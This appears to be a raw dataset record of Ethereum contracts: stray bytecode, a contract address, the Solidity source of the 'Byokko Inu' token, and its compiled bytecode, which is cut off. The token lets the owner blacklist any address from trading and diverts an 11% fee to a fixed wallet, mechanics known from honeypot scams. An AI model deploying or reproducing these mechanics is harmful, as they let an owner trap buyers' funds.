ffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612421576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61242c868686612e2f565b61249784604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061252a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d64565b6003548110156129a857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126e7576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561276d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156127f3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b6127fe868686612e2f565b61286984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128fc846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d63565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612a515750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612bbd868686612e2f565b612c2884604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cbb846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612e1c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612de1578082015181840152602081019050612dc6565b50505050905090810190601f168015612e0e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212202493da4fa41d6515e335c5aa541000cf89bef2f38ff50b019589453f9b97172e64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
4,861
0x8daf2abd3223bb45555b0ccd44e8ba80897a93a4
/** * **/ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Byokko is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 1; uint256 private _feeAddr2 = 10; address payable private _feeAddrWallet1 = payable(0xA3d8163aDd948f8E1f0F0B956e2E05d9A4B3609A); address payable private _feeAddrWallet2 = payable(0xA3d8163aDd948f8E1f0F0B956e2E05d9A4B3609A); string private constant _name = "Byokko Inu"; string private constant _symbol = "BYOKKO INU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b604051610130919061295b565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906124d5565b61042a565b60405161016d9190612940565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612abd565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612482565b61045c565b6040516101d59190612940565b60405180910390f35b3480156101ea57600080fd5b50610205600480360381019061020091906123e8565b610535565b005b34801561021357600080fd5b5061021c610625565b6040516102299190612b32565b60405180910390f35b34801561023e57600080fd5b506102596004803603810190610254919061255e565b61062e565b005b34801561026757600080fd5b506102706106e0565b005b34801561027e57600080fd5b50610299600480360381019061029491906123e8565b610752565b6040516102a69190612abd565b60405180910390f35b3480156102bb57600080fd5b506102c46107a3565b005b3480156102d257600080fd5b506102db6108f6565b6040516102e89190612872565b60405180910390f35b3480156102fd57600080fd5b5061030661091f565b604051610313919061295b565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e91906124d5565b61095c565b6040516103509190612940565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b9190612515565b61097a565b005b34801561038e57600080fd5b50610397610aa4565b005b3480156103a557600080fd5b506103ae610b1e565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612442565b611080565b6040516103e49190612abd565b60405180910390f35b60606040518060400160405280600a81526020017f42796f6b6b6f20496e7500000000000000000000000000000000000000000000815250905090565b600061043e610437611107565b848461110f565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104698484846112da565b61052a84610475611107565b610525856040518060600160405280602881526020016131e760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104db611107565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117b89092919063ffffffff16565b61110f565b600190509392505050565b61053d611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c190612a1d565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610636611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ba90612a1d565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610721611107565b73ffffffffffffffffffffffffffffffffffffffff161461074157600080fd5b600047905061074f8161181c565b50565b600061079c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611917565b9050919050565b6107ab611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082f90612a1d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f42594f4b4b4f20494e5500000000000000000000000000000000000000000000815250905090565b6000610970610969611107565b84846112da565b6001905092915050565b610982611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0690612a1d565b60405180910390fd5b60005b8151811015610aa057600160066000848481518110610a3457610a33612e7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a9890612dd3565b915050610a12565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ae5611107565b73ffffffffffffffffffffffffffffffffffffffff1614610b0557600080fd5b6000610b1030610752565b9050610b1b81611985565b50565b610b26611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baa90612a1d565b60405180910390fd5b600f60149054906101000a900460ff1615610c03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfa90612a9d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c9630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce800000061110f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cdc57600080fd5b505afa158015610cf0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d149190612415565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d7657600080fd5b505afa158015610d8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dae9190612415565b6040518363ffffffff1660e01b8152600401610dcb92919061288d565b602060405180830381600087803b158015610de557600080fd5b505af1158015610df9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1d9190612415565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ea630610752565b600080610eb16108f6565b426040518863ffffffff1660e01b8152600401610ed3969594939291906128df565b6060604051808303818588803b158015610eec57600080fd5b505af1158015610f00573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f2591906125b8565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161102a9291906128b6565b602060405180830381600087803b15801561104457600080fd5b505af1158015611058573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107c919061258b565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117690612a7d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e6906129bd565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112cd9190612abd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134190612a5d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b19061297d565b60405180910390fd5b600081116113fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f490612a3d565b60405180910390fd5b6114056108f6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561147357506114436108f6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156117a857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561151c5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61152557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115d05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116265750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561163e5750600f60179054906101000a900460ff165b156116ee5760105481111561165257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061169d57600080fd5b601e426116aa9190612bf3565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006116f930610752565b9050600f60159054906101000a900460ff161580156117665750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561177e5750600f60169054906101000a900460ff165b156117a65761178c81611985565b600047905060008111156117a4576117a34761181c565b5b505b505b6117b3838383611c0d565b505050565b6000838311158290611800576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f7919061295b565b60405180910390fd5b506000838561180f9190612cd4565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61186c600284611c1d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611897573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6118e8600284611c1d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611913573d6000803e3d6000fd5b5050565b600060085482111561195e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119559061299d565b60405180910390fd5b6000611968611c67565b905061197d8184611c1d90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119bd576119bc612ea9565b5b6040519080825280602002602001820160405280156119eb5781602001602082028036833780820191505090505b5090503081600081518110611a0357611a02612e7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611aa557600080fd5b505afa158015611ab9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611add9190612415565b81600181518110611af157611af0612e7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b5830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461110f565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611bbc959493929190612ad8565b600060405180830381600087803b158015611bd657600080fd5b505af1158015611bea573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611c18838383611c92565b505050565b6000611c5f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e5d565b905092915050565b6000806000611c74611ec0565b91509150611c8b8183611c1d90919063ffffffff16565b9250505090565b600080600080600080611ca487611f2b565b955095509550955095509550611d0286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f9390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d9785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fdd90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611de38161203b565b611ded84836120f8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611e4a9190612abd565b60405180910390a3505050505050505050565b60008083118290611ea4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9b919061295b565b60405180910390fd5b5060008385611eb39190612c49565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce80000009050611efc6b033b2e3c9fd0803ce8000000600854611c1d90919063ffffffff16565b821015611f1e576008546b033b2e3c9fd0803ce8000000935093505050611f27565b81819350935050505b9091565b6000806000806000806000806000611f488a600a54600b54612132565b9250925092506000611f58611c67565b90506000806000611f6b8e8787876121c8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611fd583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117b8565b905092915050565b6000808284611fec9190612bf3565b905083811015612031576040517f0